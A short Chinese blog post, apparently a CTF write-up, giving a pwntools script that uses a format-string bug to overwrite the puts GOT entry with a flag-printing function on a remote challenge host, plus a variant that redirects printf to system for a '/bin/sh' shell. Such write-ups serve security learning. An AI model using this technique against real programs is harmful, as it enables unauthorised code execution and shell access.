DreamCatcher Yan

  • Blog
  • Category
    • 数据结构与算法
    • 信息安全与ctf
    • 生活
    • 其他
    • ICS
    • 软件构造
  • Jupyter
  • About
Xing Yan's blog
Make it a better world.
  1. 首页
  2. 信息安全与ctf
  3. 正文

字符串格式化漏洞修改GOT表一例

2021年8月4日 233点热度 0人点赞 0条评论

代码如下:

from pwn import *
context(arch='amd64', os='linux')
elf = ELF("./pwn")
io = remote("111.200.241.244", 56315)
catflag_addr = 0x4008DA
puts_got = elf.got['puts']
payload = fmtstr_payload(6, {puts_got: catflag_addr})
io.recvuntil("3. Exit the battle")
io.sendline("2")
io.sendline(payload)
io.interactive()

原理是在0x4008DA这个地址有一个函数是直接system("cat flag")的,我们利用字符串格式化漏洞修改puts函数的GOT表,直接修改到上面这个黑客函数的地址,然后下一次调用puts的时候,就会直接进入黑客函数。

PLT表在运行时可能是只读的,不可修改。

这个题目里面有一段代码是scanf一个字符串,然后再把这个字符串printf出来,另一种利用方式是,修改printf函数的GOT表为system函数的地址,然后在scanf的时候直接输入"/bin/sh",这样就能直接拿到系统的shell。

标签: 暂无
最后更新:2021年8月4日

DreamCatcher Yan

Make it a better world.

点赞
< 上一篇
下一篇 >

DreamCatcher Yan

Make it a better world.

分类目录
  • ICS
  • 信息安全与ctf
  • 其他
  • 数据结构与算法
  • 生活
  • 软件构造
最新 热点 随机
最新 热点 随机
Sentinel圣天诺加密狗简单使用教程(Linux) pwntools连gdb一例 通过系统调用open来查看flag 64位传参利用方法&LibcSearcher使用入门&ROPgadget利用 字符串格式化漏洞修改GOT表一例 pwn入门-PLT表与GOT表、libc入门
[转]一篇很喜欢的知乎美文 两种重要的图——Snapshot diagram & UML diagram 字符串格式化漏洞修改GOT表一例 RSA加密算法原理 高级英语词汇测试题 Sentinel圣天诺加密狗简单使用教程(Linux)

COPYRIGHT © 2020 DreamCatcher Yan. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS

苏ICP备2020067253号